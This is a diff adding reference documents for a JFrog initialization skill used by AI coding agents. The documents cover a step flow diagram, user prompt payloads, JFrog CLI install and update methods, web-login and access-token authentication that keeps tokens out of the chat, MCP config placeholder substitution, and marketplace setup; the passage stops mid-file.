b/skills/jfrog-init/references/flow-diagram.md @@ -0,0 +1,115 @@ +# /jfrog-init — full flow diagram + +Visual companion to the numbered Steps in `SKILL.md`. Every decision +node here is also fully documented — including the exact user-facing +wording — in the corresponding Step section of `SKILL.md`; this diagram +adds nothing new, it's a compressed map of that same prose for +at-a-glance orientation. `SKILL.md`'s Step-by-step text is the +authoritative source for wording and behavior — follow it literally. + +```mermaid +flowchart TD + Start(["/jfrog-init"]) --> S1 + + S1["1. Node.js >= 18 installed? (no script — node --version / npx --version)"]:::stepBox + S1 -->|no| ASKNODE["AskUserQuestion: Install Node.js now? Yes/No"]:::fixBox + ASKNODE -->|Yes, macOS/Linux| NVMINSTALL["Install nvm (pinned version) + nvm install --lts"]:::autoBox + ASKNODE -->|Yes, Windows| WINGETNODE["winget install OpenJS.NodeJS.LTS"]:::autoBox + ASKNODE -->|No| STOP0["STOP: cannot proceed without Node"]:::stopBox + NVMINSTALL -->|failed| F1["Fall back: ask user to install Node.js >= 18 manually"]:::fixBox + NVMINSTALL -->|ok| S2 + WINGETNODE --> F1W["Tell user: open a new terminal, re-run /jfrog-init"]:::fixBox + S1 -->|yes| S2 + + S2["2. jf CLI installed and >= 2.106.0?"]:::stepBox + S2 -->|missing| ASKJF["AskUserQuestion: Install JFrog CLI? Yes/No"]:::fixBox + S2 -->|outdated| ASKJFU["AskUserQuestion: Update JFrog CLI? Yes/No"]:::fixBox + ASKJF -->|Yes| INSTJF["jfrog-install-jf-cli.mjs: Plan A npm install -g jfrog-cli-v2-jf"]:::autoBox + ASKJFU -->|Yes| INSTJF + ASKJF -->|No| STOP0J["STOP: cannot proceed without jf"]:::stopBox + ASKJFU -->|No| STOP0J + INSTJF -->|npm exited 0, but resolving jf is shadowed by an earlier install on PATH| SHADOW["Report shadowing — move npm's bin ahead on PATH, or remove the other install"]:::fixBox + SHADOW --> PLANC + INSTJF -->|npm failed, or exited 0 but jf still isn't resolving up to date and not shadowed, and a private registry is configured| PLANB["Plan B: retry npm install against the public registry"]:::autoBox + PLANB -->|jf now resolves up to date| S2RE + PLANB -->|still not up to date| PLANC + INSTJF -->|npm missing, or Plan A/B failed to leave an up-to-date jf on PATH| PLANC["Plan C: direct binary download to ~/.jfrog/bin, checksum-verified, runs jf --version to confirm"]:::autoBox + PLANC -->|Windows| WINPS["Print PowerShell one-liner — user runs it themselves, then re-runs /jfrog-init"]:::fixBox + PLANC -->|macOS/Linux| S2RE + INSTJF -->|npm succeeded and jf now resolves >= 2.106.0| S2RE["Re-check: installed and >= 2.106.0?"]:::stepBox + S2RE -->|still missing/outdated| STOP1["STOP: show raw install error"]:::stopBox + S2RE -->|ok| S3 + S2 -->|yes| S3 + + S3["3. jf connected to a server?"]:::stepBox + S3 -->|no| ASKMETHOD["AskUserQuestion: Web login or Access token?"]:::fixBox + ASKMETHOD -->|Web login| WEBLOGIN["Register session, show code/link, retrieve + save credentials — all in-session, this skill's own local scripts"]:::autoBox + WEBLOGIN --> S3ASKW["AskUserQuestion: Did you finish logging in? Yes/No"]:::fixBox + S3ASKW -->|Yes| S3 + S3ASKW -->|No| STOP0B["STOP: user cancelled"]:::stopBox + ASKMETHOD -->|Access token| F3["Print one command, --url pre-filled — user runs it themselves in their own terminal, pastes the token"]:::fixBox + F3 --> S3ASK["AskUserQuestion: Did you finish running that command? Yes/No"]:::fixBox + S3ASK -->|Yes| S3 + S3ASK -->|No| STOP0B + S3 -->|yes| S4 + + S4["4. Server reachable and credentials valid?"]:::stepBox + S4 -->|multiple servers, no default| ASKSRV["AskUserQuestion: pick server-id"]:::fixBox + ASKSRV --> S4 + S4 -->|reachable, but token invalid/expired| F4["Print one command, --url and --server-id pre-filled (token-only, no web option — avoids a duplicate server) — user runs it themselves"]:::fixBox + F4 --> S4ASK["AskUserQuestion: Did you finish running that command? Yes/No"]:::fixBox + S4ASK -->|Yes| S4 + S4ASK -->|No| STOP0C["STOP: user cancelled"]:::stopBox + S4 -->|unreachable/timeout/other| STOP2["STOP: show raw error (network/URL hint included)"]:::stopBox + S4 -->|yes| S5 + + S5["5. Plugin mcp.json has a valid jfrog entry? (auto-substitutes a JFROG_PLATFORM_URL/JFROG_URL placeholder inline, if present)"]:::stepBox + S5 -->|substitution needed, server-id ambiguous| ASKSRV5["AskUserQuestion: pick server-id"]:::fixBox + ASKSRV5 --> S5 + S5 -->|missing/invalid/no entry, incl. substitution failure| F5["Note: reinstall or update the JFrog plugin, or resolve jf config (non-blocking)"]:::fixBox + F5 --> S6 + S5 -->|yes, valid url| S6 + + S6["6. Project resolved?"]:::stepBox + S6 -->|state file has current project| ASKREUSE["AskUserQuestion: reuse CURRENT or pick different"]:::fixBox + ASKREUSE -->|reuse| VALPROJ["Validate via authenticated GET /access/api/v1/projects/KEY"]:::stepBox + ASKREUSE -->|different| ASKPROJ["AskUserQuestion: first 2 projects, or Other to type one"]:::fixBox + S6 -->|no state file| ASKPROJ + ASKPROJ --> RESOLVE["Resolve name-or-key (case-insensitive) against project list from authenticated GET /access/api/v1/projects"]:::stepBox + RESOLVE -->|no match, 1st attempt| ASKPROJ + RESOLVE -->|no match again, 2nd attempt: give up| F6 + RESOLVE -->|matched| VALPROJ + VALPROJ -->|404 or 403, 1st attempt| ASKPROJ + VALPROJ -->|404 or 403 again, 2nd attempt: give up| F6 + VALPROJ -->|401, credentials rejected| STOPCREDS["STOP: show raw error (re-auth via the Step 3/4 picker)"]:::stopBox + VALPROJ -->|2xx| S7 + + F6["Note: no project resolved after 1 retry — continue without one (non-blocking)"]:::fixBox + F6 --> S7 + + S7["7. AI Catalog reachable and user entitled?"]:::stepBox + S7 -->|anon 404 / connection failure / 5xx, exit 1| F7U["Note: catalogReason=unreachable — JPD may not host AI Catalog, or it's down right now (non-blocking)"]:::fixBox + F7U --> WRITE + S7 -->|authed 401 or 403, not entitled, exit 4| F7E["Note: catalogReason=not_entitled — ask JFrog admin for AI Catalog Read role (non-blocking)"]:::fixBox + F7E --> WRITE + S7 -->|ambiguous server-id, exit 2| ASKSRV7["AskUserQuestion: which jf server? (server-picker.md), then re-run"]:::fixBox + ASKSRV7 --> S7 + S7 -->|jf missing / credentials rejected / unexpected response shape, exit 3| STOP7["STOP: show raw error — no state file written"]:::stopBox + S7 -->|yes, entitled, exit 0| WRITE["Write state file: server, jpdUrl, and currentActiveProject if resolved (else previous project, if any, is kept) — written on every NON-blocking path out of Step 7"]:::autoBox + + WRITE --> S8CHECK{"Step 7 green AND harness == Claude Code? (detectHarness() reused from Step 5)"}:::stepBox + S8CHECK -->|no| DONE + S8CHECK -->|yes| S8["8. Claude agent-plugin marketplace registered?"]:::stepBox + S8 -->|exit 0, success| F8OK["Final Summary: ✅ JFrog Marketplace, plus the trailing sentence"]:::autoBox + S8 -->|exit 1 or 3, failed| F8BAD["Final Summary: ⚠️ JFrog Marketplace — not registered, no cause"]:::fixBox + F8OK --> DONE + F8BAD --> DONE + + DONE(["JFrog init complete"]):::doneBox + + classDef stepBox fill:#e8f0fe,stroke:#1a73e8,color:#000 + classDef fixBox fill:#fff4e5,stroke:#f9a825,color:#000 + classDef autoBox fill:#e6f4ea,stroke:#137333,color:#000 + classDef doneBox fill:#e6f4ea,stroke:#137333,color:#000 + classDef stopBox fill:#fce8e6,stroke:#c5221f,color:#000 +``` diff --git a/skills/jfrog-init/references/how-to-ask-user.md b/skills/jfrog-init/references/how-to-ask-user.md new file mode 100644 index 0000000..db3cbf2 --- /dev/null +++ b/skills/jfrog-init/references/how-to-ask-user.md @@ -0,0 +1,19 @@ +# How to ask the user questions + +When the skill needs a Yes/No answer, a selection, or any other input +from the user, use the **native interactive prompt tool** built into +your harness so the user can click or select rather than type: + +| Harness | Preferred tool | +|-------------|------------------------| +| Claude Code | `AskUserQuestion` | +| Codex | `request_user_input` | + +Each reference file specifies the question text and option labels; use +your harness's native tool to present them. Native prompt tools already +offer a free-text "Other" fallback for values not in the list — don't +add a duplicate "Other" option yourself. + +**Fallback**: if no native prompt tool is available, or the tool +returns without a selection, surface the question as plain text in +your reply — never silently stop without presenting it. diff --git a/skills/jfrog-init/references/jf-cli-install-internals.md b/skills/jfrog-init/references/jf-cli-install-internals.md new file mode 100644 index 0000000..6c5a652 --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-install-internals.md @@ -0,0 +1,75 @@ +# jfrog-install-jf-cli.mjs — installation internals + +Background for Step 2 of `/jfrog-init` (`SKILL.md`). The model doesn't +need this to execute the step — `jfrog-install-jf-cli.mjs` handles all +of it and reports success/failure on stdout and its exit code — but it +explains what the script actually does, for debugging or when a user +asks how the install works. + +**Deliberately does not use** the base skill's +[`../jfrog/references/jfrog-cli-install-upgrade.md`](../../jfrog/references/jfrog-cli-install-upgrade.md) +(`brew install jfrog-cli` / a Linux-only curl one-liner, no Windows +guidance). This walk's primary method is one command that behaves +identically across macOS, Linux, and Windows without branching on OS — +`npm install -g jfrog-cli-v2-jf` — so it uses that instead. If npm +itself can't complete the install (missing, or a permissions error like +a global prefix that needs `sudo`), the script falls back to a +checksum-verified direct binary download with its own Windows handling. + +`jfrog-install-jf-cli.mjs` tries progressively more self-contained +install methods, falling through only when one genuinely fails: + +1. **Plan A — npm** (JFrog's own documented method: + docs.jfrog.com/integrations/docs/download-and-install-the-jfrog-cli#npm): + `npm install -g jfrog-cli-v2-jf` against whatever registry npm is + already configured for. No PATH/shell-rc changes here: npm's global + bin directory is expected to already be on PATH. This works + identically on macOS, Linux, and Windows, so there's no OS-specific + branch for this plan. +2. **Plan B — public registry retry**: triggered whenever Plan A's `npm` + command itself fails, *or* it exits 0 but the `jf` that resolves on + PATH afterward still isn't at the required version — provided that + stale `jf` is npm's own install and not a different, older `jf` + earlier on PATH shadowing it. Shadowing is reported directly and + skips straight to Plan C instead: retrying against a different + registry can't fix a PATH-ordering problem. If npm is configured for + a registry other than the + public one (common on a company machine, pointed at a + private/corporate mirror), the exact same install is retried with + `--registry=https://registry.npmjs.org/` — this one command only, + never touching the user's saved npm config. `jfrog-cli-v2-jf` is a + public package, so a private registry's own (possibly stale) auth + says nothing about whether the package itself is reachable. +3. **Plan C — direct binary download**: if npm is missing, or both A + and B failed for any other reason (observed in practice: a global + npm prefix that requires `sudo`), downloads the first-party `jf` + binary from `releases.jfrog.io` straight to `~/.jfrog/bin` — a + user-owned prefix that never needs elevated permissions — and + verifies it against the SHA-256 checksum Artifactory reports for that + same artifact (catches a truncated/corrupted transfer, not an + independent signature). Unlike Plans A/B, `~/.jfrog/bin` isn't on + PATH by default, so a successful Plan C also appends a PATH line to + the user's shell rc file (idempotent) and prints one for the caller + to `eval` immediately, so `jf` resolves both in future terminals and + in the *current* process without the user doing anything. + **Windows**: Plan C's direct-download path isn't reliable there, so + it instead prints a PowerShell one-liner — installing to a user-owned + path and prepending to the user-scope `Path` via + `[Environment]::SetEnvironmentVariable(..., 'User')`, no elevation + needed. Reads the existing user-scope value first rather than using + `setx PATH "...;$env:Path"`, which would copy the *combined* + machine+user PATH into the user variable (duplicating every + machine-level entry into it, permanently) and silently truncate past + `setx`'s 1024-character limit. The whole script exits 1 so Step 2 can + relay it to the user. + +Only if all three plans fail does the script print the plain +`npm install -g jfrog-cli-v2-jf` command and exit 1, for the user to +diagnose and run themselves. + +**Known trade-off of Plans A/B, called out in JFrog's own docs and not +something this script can detect or fix**: if the user relies on a +shim-based version manager (`nvm` / Volta) alongside another `jf` +install (Homebrew, curl, or Plan C itself), the version manager's +`bin/` takes PATH priority, so the npm-installed `jf` silently wins +regardless of what those other installs report. diff --git a/skills/jfrog-init/references/jf-cli-install-prompt.md b/skills/jfrog-init/references/jf-cli-install-prompt.md new file mode 100644 index 0000000..52c9b6e --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-install-prompt.md @@ -0,0 +1,74 @@ +# Step 2 — the install prompt + +**Required behavior for Step 2's red branch, not optional background.** +When `jfrog-detect-jf-cli.mjs` exits red with `reason: "missing"` (`jf` +not found on PATH at all), call `AskUserQuestion` with this exact +payload shape (arrays and options nested correctly; the tool rejects +flat/mis-shaped inputs with `InputValidationError`): + +```json +{ + "questions": [ + { + "question": "JFrog CLI isn't installed. Install it now?", + "header": "Install jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Install the JFrog CLI now. May add one line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +When it instead exits red with `reason: "broken"` (`jf` **is** on PATH +but hung, timed out, or failed to run), the "isn't installed" wording +above is false — use this payload instead: + +```json +{ + "questions": [ + { + "question": "JFrog CLI is installed but isn't responding (may be corrupted or hung). Reinstall it now?", + "header": "Reinstall jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Reinstall the JFrog CLI now. May add one line to your shell startup file so future terminals can find it."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +The user picks with arrow keys. The `question` text is the entire +user-facing message for this step, for either branch. + +**Do not** mention any install method (`npm install -g`, the direct +binary download), the package name (`jfrog-cli-v2-jf`), the install +path (`~/.jfrog/bin`), or any other implementation detail — not in the +question, not in an option description, not anywhere. The user only +needs to answer Yes or No; everything else is noise. + +Forbidden phrases (non-exhaustive — never surface any of these in the +question or its option descriptions): +- *"via npm"* / *"npm install -g"* / *"as a global Node package"* +- *"download the binary"* / *"from releases.jfrog.io"* / *"to + ~/.jfrog/bin"* +- *"~68 MB download"* / any size or timing hint + +On **Yes**, run `jfrog-install-jf-cli.mjs` directly. On **No** (or the +user selects "Other" and types an out-of-band answer), stop the walk +and tell the user `/jfrog-init` cannot continue without `jf`. + +`jfrog-install-jf-cli.mjs` tries npm first (JFrog's own documented +method, retried against the public registry if a private one fails), +then falls back to a checksum-verified direct binary download if npm +itself can't complete the install — and verifies `jf --version` +resolves before reporting success either way. See +`jf-cli-install-internals.md` for exactly how each plan works, +including the one npm trade-off the script can't detect or fix. + +After the install runs, re-invoke `jfrog-detect-jf-cli.mjs`. If still +red, stop and show the raw error verbatim; do not guess at a second fix. diff --git a/skills/jfrog-init/references/jf-cli-update-prompt.md b/skills/jfrog-init/references/jf-cli-update-prompt.md new file mode 100644 index 0000000..59302a8 --- /dev/null +++ b/skills/jfrog-init/references/jf-cli-update-prompt.md @@ -0,0 +1,53 @@ +# Step 2 — the update prompt + +**Required behavior for Step 2's red branch when `reason` is +`"outdated"`, not optional background.** When `jfrog-detect-jf-cli.mjs` +exits red with `reason: "outdated"` (`jf` is installed, but below the +minimum version), call `AskUserQuestion` with this exact payload shape +— same shape as the install prompt (`jf-cli-install-prompt.md`), just +worded for an update instead of a fresh install: + +```json +{ + "questions": [ + { + "question": "JFrog CLI is older than required. Update it now?", + "header": "Update jf", + "multiSelect": false, + "options": [ + {"label": "Yes", "description": "Update the JFrog CLI now."}, + {"label": "No", "description": "Cancel /jfrog-init."} + ] + } + ] +} +``` + +Fill in `` with the detector's own `currentVersion` field (the +raw `jf --version` output, and nothing else). Do **not** use `detail` +for this — it also carries the required minimum version number, which +the very next rule forbids surfacing to the user. The `question` text +is the entire user-facing message for this step. + +**Do not** mention any install/update method (`npm install -g`), the +package name (`jfrog-cli-v2-jf`), or the specific minimum version number +— not in the question, not in an option description. The user only +needs to answer Yes or No. + +On **Yes**, run `jfrog-install-jf-cli.mjs` directly — the same script +Step 2's install path uses. `npm install -g jfrog-cli-v2-jf` upgrades an +existing install in place, so there's no separate update script. On +**No** (or an out-of-band "Other" answer), stop the walk and tell the +user `/jfrog-init` cannot continue without an updated JFrog CLI. + +After the update runs, re-invoke `jfrog-detect-jf-cli.mjs`. If still red +with `reason: "outdated"`, stop and show the raw error verbatim; do not +guess at a second fix. + +## Why there's a minimum version at all + +JFrog CLI v2.106.0 or later, configured for your JFrog Platform, is +required for the Agent Plugins Repositories feature this walk's own +Step 7 (AI Catalog) depends on. For more information, see [Configure +the JFrog CLI](https://docs.jfrog.com/artifactory/docs/agent-plugins-repositories#configure-the-jfrog-cli) +in Agent Plugins Repositories. diff --git a/skills/jfrog-init/references/jf-config-auth-picker.md b/skills/jfrog-init/references/jf-config-auth-picker.md new file mode 100644 index 0000000..0bb2074 --- /dev/null +++ b/skills/jfrog-init/references/jf-config-auth-picker.md @@ -0,0 +1,219 @@ +# jf config: web login vs. access token + +**Required behavior wherever this file is the referenced fix, not +optional background.** Two distinct call sites land here, with two +different option sets: + +- **Step 3** (`jf` is installed but not connected to any server at + all) — full picker: **Web login or Access token**. +- **Step 4**, when sub-check (1) (reachability) passed but sub-check + (2) (`jf rt ping`) failed with an auth-shaped error — `jf` is + already connected to a server, its token is just stale. **Token + only** (see "Why Step 4 is token-only" below) — skip straight to + that section. + +## Step 3: ask web vs. token + +```json +{ + "questions": [ + { + "question": "How do you want to connect to your JFrog Platform?", + "header": "Connect", + "multiSelect": false, + "options": [ + {"label": "Web login", "description": "Opens in your browser. I'll drive the rest."}, + {"label": "Access token", "description": "You paste a token into one command you run yourself."} + ] + } + ] +} +``` + +If the URL isn't already known, ask for it in a plain chat message +first (*"What's your JFrog Platform URL?"*) — both branches need it. +**Plain chat message, not `AskUserQuestion` with suggested options** — +there is no real candidate to offer here (unlike the server/project +pickers, which choose among *actual configured* values), so a picker +would only ever be guessing. Never suggest, guess, or pre-fill a +specific JFrog Platform URL (e.g. `mycompany.jfrog.io`, or anything else +inferred from the user's email domain, org, or prior context) — wait +for the user to type their own. + +### Web login branch + +This skill carries its own local copies of the web-login scripts under +`scripts/` — nothing is invoked cross-skill from the base `jfrog` skill. +The token never passes through this conversation. + +1. **Register the session:** + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-login-register-session.mjs" "" + ``` + Both login scripts are pure Node — unlike Step 2's `jf` CLI itself, + there's no separate prerequisite probe needed here (no `uuidgen`/`jq` + dependency to check for). Exit 2 = server unreachable, exit 3 = + registration failed — either one is a **red**, same as any other Step + 3/4 red: show the raw error, stop. +2. **Build the login URL** from `SESSION_UUID`: + ``` + /ui/login?jfClientSession=&jfClientName=JFrog-Skills&jfClientCode=1 + ``` + **Open it in the user's default browser automatically — do not just + print the link and ask them to click it themselves.** Use the + OS-appropriate opener: + ```bash + open "" # macOS + xdg-open "" # Linux + start "" "" # Windows (cmd) / `Start-Process ""` in PowerShell + ``` + If the opener command fails or isn't available (headless/remote + session, no `$DISPLAY`, etc.), fall back to showing the link as text + so the user can open it manually — don't treat that as a hard + failure. This mirrors the base `jfrog` skill's own + `references/jfrog-login-flow.md` step 2 exactly; it's spelled out + again here, in full, rather than left as a cross-reference, because a + model following only this file (never opening the base skill's doc) + must still open the browser automatically, not silently fall back to + printing the link. + + Show the verification code prominently, then confirm the link was + opened (or provide it, on fallback): + + > ## Verification code: `` + > + > I've opened the login page in your browser — enter the code above. + > + > Let me know when you're done. + + Then `AskUserQuestion`: + ```json + { + "questions": [ + { + "question": "Did you finish logging in?", + "header": "Continue", + "multiSelect": false, + "options": [ + {"label": "Yes, continue", "description": "Retrieve credentials and continue the walk."}, + {"label": "No, cancel /jfrog-init", "description": "Stop the walk cleanly."} + ] + } + ] + } + ``` +3. On **Yes**, retrieve and save credentials: + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-login-save-credentials.mjs" "" "" + ``` + Exit 0 → done; the only thing this prints is `SERVER_ID=` and an + Artifactory version check — the token itself never appears in this + script's output, and this skill never reads it. Exit 2/3/4 → the + session's one-time token is now consumed either way (see the base + skill's "Gotchas") — tell the user plainly it didn't work and offer + to either restart web login from step 1 above or switch to the + Token branch; don't retry silently. +4. Re-run whichever detector sent you here (`jfrog-detect-jf-config.mjs` + for Step 3) to confirm green, then continue. + +Skip the base skill's "make it the default `jf` server?" gate — this +skill's own server resolution (`references/server-picker.md` / +"Resolving ``" in `SKILL.md`) already uses the sole +configured server silently when there's only one, so that question +would be redundant here. + +### Token branch (Step 3, and the only option for Step 4) + +Print exactly one ready-to-run command, with `--url` (and, for Step 4, +the already-resolved `--server-id`) filled in — the user runs it +**themselves, in their own terminal**, replacing the placeholder with +their own token. **Never** ask for the token in chat, and never run +this command yourself via the Bash tool — the token must not enter +this conversation at all. + +- **Step 3** (no server-id yet — one will be created): + ``` + jf config add jfrog --url= --access-token= --interactive=false + ``` +- **Step 4** (existing server, refreshing a stale token — reuse the + already-resolved `` and `--overwrite` so this updates the + same entry instead of creating a second one): + ``` + jf config add --url= --access-token= --interactive=false --overwrite + ``` + +Send this as its own chat message (same rule as today: no `!` prefix — +that runs inside Claude Code's own shell). Then `AskUserQuestion`: + +```json +{ + "questions": [ + { + "question": "Did you finish running that command?", + "header": "Continue", + "multiSelect": false, + "options": [ + {"label": "Yes, continue", "description": "Re-check and continue the walk."}, + {"label": "No, cancel /jfrog-init", "description": "Stop the walk cleanly."} + ] + } + ] +} +``` + +On **Yes** → re-run the same detector that sent you here +(`jfrog-detect-jf-config.mjs` for Step 3, `jfrog-detect-server-ping.mjs +[server-id]` for Step 4 — never the other one). If still red, print +the same command and the same `AskUserQuestion` again — the loop is +harmless. On **No** → stop with exactly one sentence: *"OK — run +`/jfrog-init` again when ready."* Nothing else. + +## Why Step 4 is token-only + +`jfrog-login-save-credentials.mjs` derives (or overwrites) a server +entry **from the URL itself** (`https://mycompany.jfrog.io` → +`mycompany`), independent of whatever server-id Step 4 actually +resolved. Running the web-login branch there could silently create a +*second*, differently-named server instead of refreshing the token on +the one Step 4 is checking — so Step 4 only ever offers the Token +branch above, which explicitly reuses the existing `--server-id`. + +## Step 4's full branch table + +`jfrog-detect-server-ping.mjs [server-id]` runs two sub-checks, both +must pass: (1) an anonymous `fetch` of `/artifactory/api/system/ping` +— HTTP `200/401/403` = up, `404`/connection failure/`5xx` = red; (2) +`jf rt ping --server-id=`, token kept inside `jf`'s process — a +pass means the token is valid and authorized, the earliest signal of a +stale credential before it fails later at runtime. Sub-check (1) green ++ (2) red = tailor the message: an auth-shaped error points at a stale +token (the token-only fix above); a 30s timeout points at network/VPN; +anything else shows the raw `jf rt ping` error without guessing a cause. + +- **Exit 0 (green)** → proceed to Step 5. +- **Exit 1 (red)** → branch on the detector's `detail`, don't just stop + and dead-end on a generic "check with your admin": + - **Credentials invalid/expired** (sub-check (1) passed, only the + token is stale) → use the token-only fix above, then re-run *this + step's* detector (`jfrog-detect-server-ping.mjs`, not Step 3's) — + the user already has `jf` connected, they just need a fresh token. + - **Anything else** (connection failed, timeout, unexpected HTTP + code, reachability itself failed) → **stop.** No fix script. Show + the raw error line verbatim and tell the user to fix that and + re-run `/jfrog-init`. +- **Exit 2 (ask)** → multiple servers configured, none marked + `isDefault`, no server-id passed. **Stop and read + `references/server-picker.md` in full**, then re-invoke with the + pick as either the positional argument or `JF_SERVER_ID`. + +## What the token flow never does + +Neither this file's Token branch nor the Web branch's scripts ever +print, log, or store a token where this skill (or the model) can read +it: the Token branch's command is run by the user in their own +terminal; the Web branch's `jfrog-login-save-credentials.mjs` keeps the +retrieved token inside its own process and only ever prints +`SERVER_ID=...` plus a version check. `jfrog-detect-jf-config.mjs` only +checks *that* a server is configured (masked `jf config show` output); +`jfrog-detect-server-ping.mjs` validates the token via `jf rt ping`, +keeping it inside `jf`'s own process the whole time. diff --git a/skills/jfrog-init/references/marketplace-setup.md b/skills/jfrog-init/references/marketplace-setup.md new file mode 100644 index 0000000..78effd4 --- /dev/null +++ b/skills/jfrog-init/references/marketplace-setup.md @@ -0,0 +1,34 @@ +# Step 8 — Claude agent-plugin marketplace + +**Required behavior for Step 8, not optional background.** + +## What this step does + +Registers the JFrog Claude agent-plugin marketplace with +Claude Code (`claude plugin marketplace add `), so plugins +published to Artifactory become installable via `/plugin install`. +`jfrog-add-claude-marketplace.mjs` does all of it, including the +`~/.netrc` write below — never call `claude` yourself. + +## The `~/.netrc` write + +The only file this skill creates to hold a token, so say so plainly if the +user asks. The token goes to `~/.netrc`, replacing any prior block for that +host. `claude plugin install` needs it because the marketplace lists each +plugin as a plain Artifactory URL with no credentials in it. The marketplace +fetch does not use the file, because the token passed to `claude plugin +marketplace add` reaches Claude Code's own plugin config. + +## Server scope + +Never ask which server to use — this step is non-blocking, so with +nothing resolvable it fails red instead. + +## Required branches + +All three follow `SKILL.md`'s Final summary rule 5, verbatim. + +- **Exit 0 (green)** → the ✅ line and the success sentence. +- **Exit 1 or 3 (red)** → the ⚠️ line, and nothing about the cause. +- **Skipped (Step 7 not green, or not Claude Code)** → say **nothing**, + exactly as if Step 8 didn't exist for this walk. diff --git a/skills/jfrog-init/references/mcp-plugin-config.md b/skills/jfrog-init/references/mcp-plugin-config.md new file mode 100644 index 0000000..39ac6dc --- /dev/null +++ b/skills/jfrog-init/references/mcp-plugin-config.md @@ -0,0 +1,113 @@ +# Step 5 — plugin-owned mcp.json: mechanics and per-harness paths + +Background for Step 5 of `/jfrog-init` (`SKILL.md`). The model doesn't +need this to execute the step — `jfrog-detect-jfrog-mcp.mjs` handles +detection and substitution and reports the result as JSON — but it's +useful for debugging a red/error result or explaining what happened. + +**Placeholder substitution.** The plugin sometimes ships an `mcp.json` +where the JPD URL is a placeholder that would otherwise need to be +resolved at runtime from an env var: + +```json +{"mcpServers": {"jfrog": {"url": "https://${JFROG_PLATFORM_URL}/mcp"}}} +``` + +Codex's plugin ships the same idea in a different shape — no +`mcpServers` wrapper, and angle brackets instead of `${...}`: + +```json +{"jfrog": {"url": "https:///mcp"}} +``` + +Because we have that URL sitting in `jf config`, and because leaving +the placeholder in place means the MCP silently fails to load in the +IDE / agent, Step 5 auto-substitutes it. If the detector finds the +placeholder pattern anywhere in the file, it calls +`jfrog-substitute-mcp-placeholders.mjs`, which: + +1. Parses the file as JSON and looks **only** at the `jfrog` entry's + `url` (nested under `mcpServers` on every harness but Codex, which + has no wrapper) — never a file-wide text replace, so an unrelated + MCP server entry or JSON value that happens to contain the same + placeholder text is never touched. +2. Reads the JPD URL from `jf config` (default server, or the one + passed as arg 2), normalizes it to the JPD root, and substitutes it + into that one `url` string. +3. Replaces in two passes — first a placeholder preceded by a scheme + (`https://${...}`, where our own scheme would otherwise double up), + then a bare one. Each pass recognizes all three syntaxes: `${VAR}`, + `$VAR`, and Codex's ``. +4. Re-serializes the whole file (`JSON.stringify(parsed, null, 2)`) and + writes atomically (temp file + rename) so a partial write cannot + corrupt the file. Original formatting/whitespace elsewhere in the + file is not preserved byte-for-byte. +5. Is idempotent — subsequent runs find no placeholder and no-op. + +This is the ONLY place `/jfrog-init` writes to the plugin-owned +`mcp.json`. Everything else in Step 5 is read-only. + +**Per-harness plugin-owned config file:** + +| Harness | Plugin-owned config file | +|--------------|--------------------------| +| Cursor | `~/.cursor/plugins/cache/cursor-public/jfrog//mcp.json` (glob → newest) | +| VS Code | `~/.vscode/agent-plugins/github.com/jfrog/vscode-plugin/plugin/.mcp.json` | +| Claude Code | `~/.claude/plugins/cache//jfrog//.mcp.json` (glob) | +| Codex | `$CODEX_HOME/plugins/cache/codex-plugin/jfrog//.mcp.json` (glob → newest; `$CODEX_HOME` defaults to `~/.codex`) | + +Harness detection (in priority order): `CODEX_SANDBOX` / `CLAUDECODE` / +`CURSOR_TRACE_ID` / `VSCODE_PID` / `TERM_PROGRAM`. Override with +`JFROG_INIT_HARNESS=claude|cursor|vscode|codex` or a specific file via +`JFROG_INIT_MCP_CONFIG=/abs/path`. + +**What the detector verifies** (three things): + +1. Plugin file exists and is non-empty at its harness-specific path. +2. Parses as valid JSON. +3. Contains a `jfrog` entry (nested under `mcpServers` on every harness + but Codex, which has no wrapper) with a non-empty `url`. + +It does NOT enforce any other `type`/`url` shape (each plugin owns its +own schema) and it does NOT probe the endpoint — a mis-configured MCP +endpoint surfaces immediately the first time the user invokes it, and +the walk's other network checks (Steps 4, 7) already prove the JPD is +reachable. + +**Step 5 branches, required behavior:** + +- **Exit 0 (green)** → proceed to Step 6. +- **Exit 1 (red)** or **Exit 3 (error)** → **non-blocking** — proceed + to Step 6 as if green, but remember the cause for the Final Summary. + Steps 6 and 7 call the JPD's REST APIs directly with `jf config` + credentials, never through the JFrog MCP, so a broken or + missing plugin `mcp.json` doesn't affect whether those checks are + accurate — there's nothing to gain by stopping the walk over it. + Tell the two red causes apart from the detector's `detail` for the + Final Summary note: + - Plugin file missing / empty / lacks a valid `jfrog` entry. Fix: + **reinstall or update the JFrog plugin.** If the user asks why or + how to fix it, run: + + ```bash + node "${CLAUDE_SKILL_DIR}/scripts/jfrog-reinstall-jfrog-plugin.mjs"; true + ``` + + and relay its per-harness remedy — it only diagnoses and prints, + never writes to the plugin's mcp.json. + - Plugin file has a placeholder and automatic substitution failed + with no url set for the resolved server-id. Fix: **resolve `jf + config`**. Reinstalling the plugin does not fix this. + - (Exit 3 only) Harness could not be detected, or plugin file is + invalid JSON / unreadable. Show the raw detector error in the note. +- **Exit 2 (`ask`)** → the one outcome that still blocks: placeholder + present, but the jf server-id is ambiguous — every step from here on + needs a resolved server-id, so there's nothing to skip ahead to. + **Stop and read `references/server-picker.md` in full**, then + re-invoke with the pick as the positional argument. + +**Note on Claude Code**: today the released Claude JFrog plugin does +not include a `.mcp.json` in its shipped tree, so Step 5 goes red on +Claude Code until the plugin ships one — this no longer stops the +walk, but the Final Summary still notes it. Never fall back to +project-scope `.mcp.json`. diff --git a/skills/jfrog-init/references/node-install-prompt.md b/skills/jfrog-init/references/node-install-prompt.md new file mode 100644 index 0000000..d58bd79 --- /dev/null +++ b/skills/jfrog-init/references/node-install-prompt.md @@ -0,0 +1,72 @@ +# Step 1 — the Node.js install prompt + +**Required behavior for Step 1's red branch, not optional background.** +When `node --version` is missing/unparseable/`< 18`, or when `npx +--version` fails (node present but npx absent — same red branch), ask +the user (see `how-to-ask-user.md` for native tool and fallback rules): + +- **Question**: "Node.js ``. Install it now?" + — where `` is a brief, accurate 